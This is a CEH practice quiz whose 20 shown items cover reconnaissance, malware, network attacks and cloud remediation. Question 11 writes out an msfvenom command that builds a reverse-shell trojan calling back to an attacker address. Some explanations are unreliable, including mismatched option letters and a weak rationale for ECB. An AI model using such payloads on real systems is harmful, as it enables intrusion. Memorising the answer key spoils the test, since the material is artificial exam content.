CEH Practice Test 4 — 25 Questions

Question 1

An analyst observes repeated failed login attempts to a Windows server from an internal IP, followed by a successful login using the account 'admin' from the same IP. The analyst checks the Security log and finds Event ID 4624 with Logon Type 3. What type of attack is MOST likely occurring?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Dictionary attack on the admin account. Event ID 4624 with Logon Type 3 indicates a network logon (typically SMB or other network resource access). The sequence of repeated failed attempts followed by a successful login from the same internal IP strongly suggests a dictionary (brute-force) attack against the 'admin' account. The attacker systematically tried passwords until one succeeded, which is the hallmark of a dictionary attack.

Answer

SMB relay attack

Answer

Kerberos golden ticket attack

Answer

Pass-the-hash attack

Question 2

Which of the following is the PRIMARY purpose of banner grabbing during the reconnaissance phase?

Accepted Answer

To determine the version of a running service. Banner grabbing is a technique used to extract service banners that often include software name and version details. The primary purpose is to determine the version of a running service, as this information allows an attacker to identify known vulnerabilities specific to that version for further exploitation.

Answer

To discover open ports

Answer

To identify the operating system

Answer

To map the network topology

Question 3

Which type of malware is designed to encrypt files on a victim's system and demand payment for the decryption key?

Accepted Answer

Ransomware. Ransomware is specifically designed to encrypt files on a victim's system using strong cryptographic algorithms (e.g., AES-256 for symmetric encryption, often paired with RSA-2048 for key exchange). After encryption, the malware displays a ransom note demanding payment (typically in cryptocurrency like Bitcoin) in exchange for the decryption key. This matches the description exactly, making option A correct.

Answer

Trojan

Answer

Spyware

Answer

Adware

Question 4

A security analyst captures network traffic and sees a sequence of ARP replies with the same IP address mapping to different MAC addresses within a short period. Which attack is indicated?

Accepted Answer

ARP poisoning. B is correct because ARP poisoning (also called ARP spoofing) involves sending forged ARP replies that map a target IP address (e.g., the default gateway) to the attacker's MAC address. The rapid sequence of ARP replies with the same IP but different MACs is a classic indicator of an active ARP poisoning attack, where the attacker floods the network to corrupt the ARP cache of hosts.

Answer

DNS spoofing

Answer

DHCP starvation

Answer

MAC flooding

Question 5

A penetration tester is performing SNMP enumeration against a network device and wants to retrieve the entire Management Information Base (MIB) tree. Which command should they use?

Accepted Answer

snmpwalk -v 2c -c public 192.168.1.1 .1. `snmpwalk` is specifically designed to retrieve a subtree of MIB objects by performing a series of GETNEXT requests starting from a given OID. Using `.1` as the root OID (which corresponds to the entire ISO tree) with the SNMPv2c community string 'public' will enumerate all accessible OIDs in the MIB tree, effectively dumping the entire Management Information Base.

Answer

snmpset -v 2c -c private 192.168.1.1 1.3.6.1.2.1.1.0 s 'test'

Answer

snmpbulkwalk -v 2c -c public 192.168.1.1 .1

Answer

snmpget -v 2c -c public 192.168.1.1 1.3.6.1.2.1.1

Question 6

During a reconnaissance phase, a penetration tester uses Shodan to search for devices with a specific open port. Which of the following BEST describes what Shodan provides beyond a simple port scan?

Accepted Answer

Banner information and service metadata from internet-connected devices. Shodan is a search engine for internet-connected devices that actively probes IP addresses and collects banner information—the metadata that services (e.g., HTTP, SSH, FTP) return upon connection. This includes server headers, version strings, default credentials, and other service fingerprints, which goes far beyond a simple port scan that only reports whether a port is open or closed.

Answer

Real-time network traffic analysis

Answer

Passive DNS records and domain registration details

Answer

Historical vulnerability data for each device

Question 7

You are a security consultant for a mid-sized company that recently migrated its customer relationship management (CRM) system to a public cloud provider (AWS). The CRM is a web application behind an Application Load Balancer (ALB) with WAF enabled. The application stores sensitive customer data in an RDS MySQL database. The security team has configured security groups to allow only HTTPS (443) from the internet to the ALB, and from the ALB to the application servers on port 8080. The application servers can connect to the database on port 3306. During a routine vulnerability scan, you discover that the database is publicly accessible from the internet on port 3306, which contradicts the intended design. You verify that the security group for the database allows inbound traffic from 0.0.0.0/0 on port 3306. The database contains unencrypted personal identifiable information (PII). What is the most effective immediate action to remediate this vulnerability?

Accepted Answer

Modify the database security group to remove the 0.0.0.0/0 inbound rule and add a rule allowing only the application servers' security group on port 3306.. The most effective immediate action is to restrict the database security group to allow inbound traffic only from the application servers' security group on port 3306. This directly removes the public exposure (0.0.0.0/0) and enforces the principle of least privilege, ensuring only the intended application tier can communicate with the database. Since the database contains unencrypted PII, closing the public access is the highest priority remediation to prevent data exfiltration.

Answer

Enable RDS Enhanced Monitoring and log all connections to the database for forensic analysis.

Answer

Enable deletion protection on the RDS instance to prevent accidental removal.

Answer

Enable encryption at rest for the RDS instance using AWS KMS.

Question 8

A penetration tester runs `nbtstat -A 192.168.1.10` on a Windows machine. The output reveals the NetBIOS name table and shows a <20> entry. What does this indicate?

Accepted Answer

The target is a file server. The <20> entry in the NetBIOS name table indicates that the target machine is running the File Server service, which is a NetBIOS service type for file sharing. The `nbtstat -A` command queries the remote NetBIOS name table, and the <20> hex code specifically maps to the 'File Server Service' (also known as the 'Server' service) in the NetBIOS naming convention, as defined in RFC 1001/1002. This service is essential for SMB-based file sharing, making the target a file server.

Answer

The target is a printer

Answer

The target is a domain controller

Answer

The target is a workstation

Question 9

A penetration tester uses the tool Reaver to target a Wi-Fi network. What vulnerability is the tester attempting to exploit?

Accepted Answer

WPS PIN brute-force weakness. Reaver is a tool specifically designed to exploit the WPS (Wi-Fi Protected Setup) PIN brute-force vulnerability. It targets the WPS registrar's lack of rate-limiting and the fact that the PIN is split into two halves (first half 4 digits, second half 3 digits with a checksum), allowing an attacker to recover the WPS PIN and subsequently the WPA2 pre-shared key in a matter of hours.

Answer

WPA2 4-way handshake capture

Answer

Weak WEP encryption keys

Answer

RADIUS authentication bypass

Question 10

A network administrator wants to prevent an attacker from using a network sniffer to capture traffic between a client and a web server. Which protocol should be enforced to encrypt all communication?

Accepted Answer

HTTPS. HTTPS (HTTP over TLS, RFC 2818) encrypts all communication between a client and a web server using TLS/SSL, preventing a network sniffer from capturing plaintext data such as cookies, URLs, or form submissions. This ensures confidentiality and integrity of the web traffic, directly countering passive eavesdropping attacks.

Answer

SNMP

Answer

FTP

Answer

HTTP

Question 11

A security analyst executes the command 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe' and transfers the file to a target. Which technique is being used?

Accepted Answer

Generating a Trojan. The command uses msfvenom to generate a Windows executable payload that establishes a reverse TCP connection back to the attacker's IP (192.168.1.10) on port 4444. This creates a trojan horse—malicious code disguised as a legitimate file (shell.exe)—which, when executed on the target, provides unauthorized remote access. The technique is specifically trojanization, not virus or worm propagation.

Answer

Creating a virus

Answer

Deploying a worm

Answer

Initiating a DoS attack

Question 12

During a penetration test, an analyst runs the command 'snmpwalk -v2c -c public 192.168.1.10' and receives a large amount of output. Which protocol and community string are being used?

Accepted Answer

SNMPv2c with community string public. The command 'snmpwalk -v2c -c public 192.168.1.10' explicitly specifies SNMP version 2c with the '-v2c' flag and the community string 'public' with the '-c' flag. SNMPv2c is the most common version for read-only queries, and 'public' is the default read-only community string. The large output indicates successful enumeration of the MIB tree, confirming the community string is correct.

Answer

SNMPv1 with community string public

Answer

SNMPv1 with community string private

Answer

SNMPv3 with user public

Question 13

During a penetration test, an attacker gains access to a system and wants to maintain persistent remote control. Which type of Trojan is specifically designed for this purpose?

Accepted Answer

Backdoor. A backdoor Trojan is specifically designed to bypass normal authentication mechanisms and provide an attacker with persistent, unauthorized remote access to a compromised system. Unlike other Trojans that perform a single malicious action, backdoors often install services or modify system startup entries (e.g., registry Run keys, cron jobs) to survive reboots, ensuring long-term control.

Answer

Ransomware

Answer

Keylogger

Answer

Downloader

Question 14

Which tool is specifically designed to crack Windows LM and NTLM hashes using precomputed tables?

Accepted Answer

Ophcrack. Ophcrack is specifically designed to crack Windows LM and NTLM hashes using precomputed rainbow tables. It relies on the time-memory trade-off technique, where hashes are looked up in precomputed tables rather than computed on the fly, making it highly efficient for these specific hash types. The tool is bundled with free rainbow tables for LM hashes and supports NTLM through additional table sets.

Answer

John the Ripper

Answer

Cain & Abel

Answer

Hashcat

Question 15

A security analyst receives an email from what appears to be the company's CEO requesting an urgent wire transfer. The email address is slightly misspelled (e.g., ce0@company.com instead of ceo@company.com). Which type of social engineering attack is this?

Accepted Answer

Spear phishing. Spear phishing is a targeted phishing attack aimed at a specific individual or group. In this scenario, the attacker sends an email impersonating the CEO to a specific security analyst, making it a spear phishing attempt. The target is the analyst, not the CEO, so it is not whaling, which targets senior executives directly.

Answer

Vishing

Answer

Phishing

Answer

Whaling

Question 16

A penetration tester runs the following command: `macof -i eth0 -s 192.168.1.100 -d 10.0.0.1`. Which attack is being performed?

Accepted Answer

MAC flooding. The `macof` tool is designed to flood a switch with packets containing random source MAC addresses, overwhelming the Content Addressable Memory (CAM) table. Once the CAM table is full, the switch enters a fail-open state and broadcasts all frames, allowing the attacker to sniff traffic that would normally be isolated to specific ports. This is a classic MAC flooding attack, not ARP poisoning or DHCP starvation.

Answer

DNS spoofing

Answer

ARP poisoning

Answer

DHCP starvation

Question 17

A security analyst performs a passive reconnaissance of a target domain using public resources. Which of the following techniques would be considered passive reconnaissance?

Accepted Answer

Performing a WHOIS lookup for the target domain. Passive reconnaissance involves gathering information without directly interacting with the target's systems, thus avoiding any network traffic that could be detected. A WHOIS lookup queries a public registry database (e.g., whois.arin.net) over port 43 or via a web interface, retrieving domain registration details without sending any packets to the target's own infrastructure. This makes it a purely passive technique.

Answer

Using Netcat to grab banners from the target's email server

Answer

Running Nmap SYN scan on the target's web server

Answer

Sending a ping sweep to the target's public IP range

Question 18

A company wants to test the security of its web application by simulating attacks from an external perspective. They have no prior knowledge of the internal network or application architecture. Which type of test should they perform?

Accepted Answer

Black-box test. A black-box test is the correct choice because the company has no prior knowledge of the internal network or application architecture. This simulates an external attacker with zero insider information, testing the application from an outsider's perspective without access to source code, network diagrams, or credentials. The test relies solely on publicly available information and direct interaction with the application's interfaces.

Answer

White-box test

Answer

Red team engagement

Answer

Gray-box test

Question 19

An ethical hacker is analyzing a piece of malware that uses a custom encryption algorithm. The malware sample contains a hardcoded key that is 16 bytes long. The analyst observes that the encrypted data is the same length as the plaintext. Which encryption mode is most likely being used?

Accepted Answer

ECB. ECB (Electronic Codebook) mode encrypts each block of plaintext independently using the same key, so the ciphertext length equals the plaintext length (assuming no padding is needed for exact block sizes). The hardcoded 16-byte key and identical input/output lengths strongly suggest ECB, as other modes typically add an IV or authentication tag, altering the output length.

Answer

GCM

Answer

CFB

Answer

CBC

Question 20

A security analyst observes a sudden surge in incoming UDP traffic to the company's DNS servers from multiple external IP addresses. The packets appear to be DNS queries with spoofed source IPs. Which type of DDoS attack is MOST likely occurring?

Accepted Answer

DNS amplification. The attack described involves DNS queries with spoofed source IPs sent to a DNS server, which then responds with large replies to the victim (the spoofed IP). This is a classic DNS amplification attack, a type of reflection-based DDoS that exploits the large response-to-query ratio (e.g., an ANY query can yield a response up to 70x larger) to overwhelm the target. The surge in incoming UDP traffic to the DNS server is the attacker's queries, while the amplified responses are directed at the spoofed victim.

Answer

SYN flood

Answer

UDP flood

Answer

ICMP flood